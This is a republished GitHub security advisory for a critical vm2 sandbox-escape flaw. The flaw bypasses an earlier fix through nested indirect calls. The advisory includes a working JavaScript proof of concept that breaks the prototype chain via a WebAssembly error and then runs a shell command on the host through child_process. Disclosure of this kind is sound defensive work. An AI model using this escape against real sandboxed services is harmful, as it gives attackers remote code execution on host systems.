vm2: Sandbox Breakout Using Dangerous Host Proto Mutators

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous. ### PoC ```js const {VM} = require("."); const vm = new VM(); console.log(vm.run(` const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } } f(); `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Source published

17 Aug 2026 17:32:41 UTC

Source modified

17 Aug 2026 17:56:03 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL